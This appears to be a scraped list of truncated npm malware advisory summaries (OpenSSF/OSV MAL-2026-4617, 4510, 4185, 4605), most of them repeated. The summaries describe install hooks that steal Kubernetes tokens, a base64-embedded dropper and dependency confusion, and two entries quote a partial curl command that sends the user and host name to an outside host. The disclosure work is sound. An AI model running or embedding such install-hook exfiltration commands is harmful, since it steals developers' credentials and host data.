npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4510 blocks this version. On `npm install`, the package's `postinstall` hook runs `setup.js`, which decodes an embedded base64 string into a tar.gz f...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...

OpenSSF/OSV malware advisory MAL-2026-4185 blocks this version. Package claims an internal-scope corporate name (`uolcs-host-uol-anuncios-fe`) on public npm, version-pinned to 99.99.99 —...

OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...

OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...